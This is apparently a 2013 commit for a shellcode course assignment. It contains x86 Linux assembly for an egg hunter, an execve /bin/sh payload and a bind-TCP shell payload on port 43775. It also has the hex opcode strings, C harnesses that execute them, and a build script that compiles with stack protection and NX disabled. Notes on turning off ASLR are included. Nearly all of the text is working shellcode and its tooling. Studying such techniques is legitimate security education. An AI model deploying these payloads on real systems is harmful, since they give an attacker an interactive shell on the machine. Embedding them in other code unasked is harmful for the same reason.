Assignment #3 added

master
arno01 11 years ago
parent 506d3c3dd1
commit fe9bc8f679

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#include <stdio.h>
#include <string.h>
unsigned char code[] = "\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}

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NOTES
no-stack-protector: disables GCC Stack-Smashing Protector (SSP), aka ProPolice
execstack: disables Executable space protection (NX).
Or Data Execution Prevention (DEP) on Windows,
or Write XOR Execute (W^X) on BSD.
CPUs NX bit ("Never eXecute").
To disalbe Address Space Layout Randomization (ASLR) when running binary
setarch `arch` -R ./program

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USAGE
1. Prepare your payload in payload.nasm file or you can directly specify it in make.sh script (PAYLOADCODE= variable)
I'm using a symlink as follows
exam3$ ln -svf payload-execve-stack.nasm payload.nasm
`payload.nasm' -> `payload-execve-stack.nasm'
2. Compile the shellcode with a custom "egg" (must be 8 bytes in length)
exam3$ ./make.sh "cust.egg"
[I] Using custom EGG mark: cust.egg
[+] Compiling payload.nasm ...
[+] Compiling egg.nasm ...
[+] Compiling hunter.nasm ...
[+] Extracting EGG code from egg ...
[+] Extracting PAYLOAD code from payload ...
[+] Checking PAYLOAD code for NULLs ...
[+] Extracting HUNTER code from hunter ...
[+] Checking HUNTER code for NULLs ...
[+] Compiling shellcode.c ...
-rwx------. 1 arno arno 5108 Mar 27 15:00 ./shellcode
[+] All done!
3. Run the shellcode
exam3$ ./shellcode
Hunter Length: 37
Payload Length: 43
sh-4.1$

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; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
;
;
; Filename: egg.nasm
; Author: Andrey Arapov <andrey.arapov@gmail.com>
; 2013 March
;
;
section .text
global _start
_start:
;db "Egg-Mark" ; QWORD egg marker - will be appended in shellcode.c after running 'make.sh'
; loop counter = 8
xor ecx, ecx
mov cl, 8
decloop:
dec eax
loop decloop

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; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
;
;
; Filename: egghunter.nasm
; Author: Andrey Arapov <andrey.arapov@gmail.com>
; 2013 March
;
;
section .data
egg1 equ "Egg-" ; DWORD Egg marker part1
egg2 equ "Mark" ; DWORD Egg marker part2
section .text
global _start
_start:
jmp short EggPoint
continue:
pop eax
; Searching for the Egg marker
next:
inc eax ; Searching backwards
isEgg:
cmp dword [eax-8], egg1
jne next
cmp dword [eax-4], egg2
jne next
call eax
; EXIT
xor eax, eax
mov al, 1
xor ebx, ebx
int 0x80
EggPoint:
call continue
Egg:
db "Egg-Mark" ; QWORD egg marker
; loop counter = 8
xor ecx, ecx
mov cl, 8
decloop:
dec eax
loop decloop
mov ecx, eax
xor edx, edx
mov dl, 8
xor eax, eax
mov al, 4
xor ebx, ebx
mov bl, 1
int 0x80
xor eax, eax
mov al, 1
xor ebx, ebx
int 0x80

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; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
;
;
; Filename: hunter.nasm
; Author: Andrey Arapov <andrey.arapov@gmail.com>
; 2013 March
;
;
section .data
egg1 equ "Egg-" ; DWORD Egg marker part1
egg2 equ "Mark" ; DWORD Egg marker part2
section .text
global _start
_start:
jmp short EggPoint
continue:
pop eax
; Searching for the Egg marker
next:
inc eax ; Searching backwards
isEgg:
cmp dword [eax-8], egg1
jne next
cmp dword [eax-4], egg2
jne next
call eax
; EXIT
xor eax, eax
mov al, 1
xor ebx, ebx
int 0x80
EggPoint:
call continue

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#!/usr/bin/env sh
#
# USAGE
# ./make.sh [Egg-Mark]
#
# NOTE
# Egg-Mark must be a plaintext with 8 bytes in length
# If Egg-Mark was not specified, the default one will be used.
#
# To specify a custom payload, simply modify the code of payload.nasm file.
# Alternativly, you can modify PAYLOADCODE= variable down below the code.
#
ARG1=$1
if [ -z "$ARG1" ]; then
echo " [I] Argument not specified. Using default EGG mark."
ARG1="Egg-Mark";
elif ! [[ `expr length $ARG1` -ge 8 && `expr length $ARG1` -le 8 ]]; then
echo " [E] Custom EGG mark must be 8 bytes in length! Exiting."
exit 1;
else
echo " [I] Using custom EGG mark: "$ARG1
fi
DEFAULTEGG=($(echo -n "Egg-Mark" | sed -e 's/\(....\)/\1\n/g')) # set in hunter.nasm
EGGMARK=$ARG1
NEWEGG=($(echo -n $EGGMARK | sed -e 's/\(....\)/\1\n/g'))
# Uncomment to save EGGMARK in HEX
EGGMARK=$(echo -n $ARG1 | od -A n -t x1 |sed 's/ /\\x/g')
# Cleanup
rm -f shellcode payload.o payload egg.o egg hunter.o hunter
echo " [+] Compiling payload.nasm ..."
nasm -f elf32 -o payload.o payload.nasm
ld -m elf_i386 -o payload payload.o
echo " [+] Compiling egg.nasm ..."
nasm -f elf32 -o egg.o egg.nasm
ld -m elf_i386 -o egg egg.o
echo " [+] Compiling hunter.nasm ..."
nasm -f elf32 -o hunter.o hunter.nasm
ld -m elf_i386 -o hunter hunter.o
echo " [+] Extracting EGG code from egg ..."
EGGCODE=$(objdump -d ./egg |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s)
echo " [+] Extracting PAYLOAD code from payload ..."
PAYLOADCODE=$(objdump -d ./payload |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s)
FULL_PAYLOADCODE=$(echo -n ${EGGMARK}${EGGCODE}${PAYLOADCODE}|sed 's/^/"/' |sed 's/$/"/g')
echo " [+] Checking PAYLOAD code for NULLs ..."
if [[ $FULL_PAYLOADCODE == *00* ]]; then
echo " [E] Your PAYLOAD code contains 00 (NULL) ! Exiting."
exit 1
fi
echo " [+] Extracting HUNTER code from hunter ..."
HUNTERCODE=$(objdump -d ./hunter |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s|sed 's/^/"/' |sed 's/$/"/g')
# For debugging only
#echo ${DEFAULTEGG[0]}
#echo ${DEFAULTEGG[1]}
#echo ${NEWEGG[0]}
#echo ${NEWEGG[1]}
# Preparing Default egg to HEX form in order to replace it with a New egg
DEFEGG1=$(echo -n ${DEFAULTEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
DEFEGG2=$(echo -n ${DEFAULTEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
# Uncomment to save new EGGMARK in HEX format
NEWEGG1=$(echo -n ${NEWEGG[0]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
NEWEGG2=$(echo -n ${NEWEGG[1]} | od -A n -t x1 |sed 's/ /\\x/g'|sed 's/\\/\\\\/g')
# Uncomment to save new EGGMARK in Plaintext format
#NEWEGG1=$(echo -n ${NEWEGG[0]})
#NEWEGG2=$(echo -n ${NEWEGG[1]})
FULL_HUNTERCODE=$(echo -n $HUNTERCODE |sed 's/'$DEFEGG1'/'$NEWEGG1'/g'| sed 's/'$DEFEGG2'/'$NEWEGG2'/g')
echo " [+] Checking HUNTER code for NULLs ..."
if [[ $FULL_HUNTERCODE == *00* ]]; then
echo " [E] Your HUNTER code contains 00 (NULL) ! Exiting."
exit 1
fi
# Uncomment to see what will is replaced (default egg with a new one)
#echo $DEFEGG1
#echo $DEFEGG2
#echo $NEWEGG1
#echo $NEWEGG2
#echo $HUNTERCODE
#echo $FULL_HUNTERCODE
cat > shellcode.c << EOF
#include <stdio.h>
#include <string.h>
unsigned char hunter[] = \
$FULL_HUNTERCODE;
unsigned char garbage1[] = \
"Just some garbage here...";
unsigned char payload[] = \
$FULL_PAYLOADCODE;
unsigned char garbage2[] = \
"And some garbage there...";
main()
{
printf("Hunter Length: %d\n", strlen(hunter));
printf("Payload Length: %d\n", strlen(payload));
int (*ret)() = (int(*)())hunter;
ret();
}
EOF
echo " [+] Compiling shellcode.c ..."
gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
# Cleanup
rm -f payload.o payload egg.o egg hunter.o hunter
ls -la ./shellcode
echo " [+] All done!"

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; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
; Filename: payload-execve-stack.nasm
; Author: Andrey Arapov <andrey.arapov@gmail.com>
; 2013 March
global _start
section .text
_start:
; EAX
xor eax, eax
mov al, 11 ; execve syscall
; EBX
xor edx, edx
push edx ; NULL termination of '//bin/sh' string
push 0x68732f6e ; '//bin/sh' in reverse
push 0x69622f2f ; beginning of '//bin/sh' string is here
mov ebx, esp ; put the address of '//bin/sh' into ebx via esp
; ECX
push edx ; NULL termination of a stack
push ebx ; load our '//bin/sh' on a stack
mov ecx, esp ; ECX is a PTR to stack where we've got EBX address to '//bin/sh' string.
; EDX
push edx ; NULL terminator
mov edx, esp ; EDX is a PTR to a stack which has an address to NULL.
int 0x80

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; This program is free software: you can redistribute it and/or modify
; it under the terms of the GNU General Public License as published by
; the Free Software Foundation, either version 3 of the License, or
; (at your option) any later version.
;
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
; GNU General Public License for more details.
;
; You should have received a copy of the GNU General Public License
; along with this program. If not, see <http://www.gnu.org/licenses/>.
;
;
; Filename: payload-shell_bind_tcp_smaller.nasm
; Author: Andrey Arapov <andrey.arapov@gmail.com>
; 2013 March
;
; DESC:
; - Binds to a port 43775
; - Execs Shell on incoming connection
;
;
; Shellcode size: 108 bytes
; Shellcode "\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x50\x5f\x6a\x66\x58\x43\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xab\xff\xff\xff\xaa\xff"
;
; Port is the last two bytes of the shellcode. In hex \xaa\xff (0xaaff = 43775)
;
;
global _start
section .text
_start:
xor eax, eax
mov al, 102 ; socketcall
xor ebx, ebx
inc ebx ; 1 = SYS_SOCKET socket()
push BYTE 6 ; IPPROTO_TCP || int protocol);
push BYTE 1 ; SOCK_STREAM || int type,
push BYTE 2 ; AF_INET || socket(int domain,
mov ecx, esp ; ECX - PTR to arguments for socket()
int 0x80
mov esi, eax ; save socket fd in ESI for later
jmp short call_get_port
port_in_esp:
pop edi ; getting port address from ESP
push BYTE 102
pop eax ; socketcall
inc ebx ; 2 = SYS_BIND bind()
xor edx, edx
push edx ; 0 = ANY HOST (0.0.0.0)} || struct in_addr sin_addr (unsigned long s_addr) };
push WORD [edi] ; PORT specified in the bottom of the code / shellcode. Last two bytes in HEX.
push WORD bx ; 2 = AF_INET || struct sockaddr { short sin_family,
mov ecx, esp ; Save PTR to sockaddr struct in ECX
push BYTE 16 ; socklen_t addrlen);
push ecx ; const struct sockaddr *addr,
push esi ; bind(int sockfd,
mov ecx, esp ; ECX = PTR to arguments for bind()
int 0x80
mov BYTE al, 102 ; socketcall
inc ebx
inc ebx ; 4 = SYS_LISTEN listen()
push BYTE 1 ; int backlog);
push esi ; listen(int sockfd,
mov ecx, esp ; ECX = PTR to arguments for listen()
int 0x80
mov BYTE al, 102 ; socketcall
inc ebx ; 5 = SYS_ACCEPT = accept()
push edx ; socklen_t *addrlen = 0);
push edx ; struct sockaddr *addr = NULL,
push esi ; listen(int sockfd,
mov ecx, esp ; ECX = PTR to arguments for accept()
int 0x80
; dup2 to duplicate sockfd, that will attach the client to a shell
; that we'll spawn below in execve syscall
xchg eax, ebx ; after EBX = sockfd, EAX = 5
push BYTE 2
pop ecx
dup2_loop:
mov BYTE al, 63
int 0x80
dec ecx
jns dup2_loop
; spawning as shell
xor eax, eax
push eax
push 0x68732f6e ; '//bin/sh' in reverse
push 0x69622f2f ; beginning of '//bin/sh' string is here
mov ebx, esp
push eax
mov edx, esp ; ESP is now pointing to EDX
push ebx
mov ecx, esp
mov al, 11 ; execve
int 0x80
call_get_port:
call port_in_esp
db 0xaa, 0xff ; BYTE (43775 in straight hex)

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payload-execve-stack.nasm

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#include <stdio.h>
#include <string.h>
unsigned char hunter[] = "\xeb\x1e\x58\x40\x81\x78\xf8\x63\x75\x73\x74\x75\xf6\x81\x78\xfc\x2e\x65\x67\x67\x75\xed\xff\xd0\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff";
unsigned char garbage1[] = "Just some garbage here...";
unsigned char payload[] = "\x63\x75\x73\x74\x2e\x65\x67\x67\x31\xc9\xb1\x08\x48\xe2\xfd\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";
unsigned char garbage2[] = "And some garbage there...";
main()
{
printf("Hunter Length: %d\n", strlen(hunter));
printf("Payload Length: %d\n", strlen(payload));
int (*ret)() = (int(*)())hunter;
ret();
}
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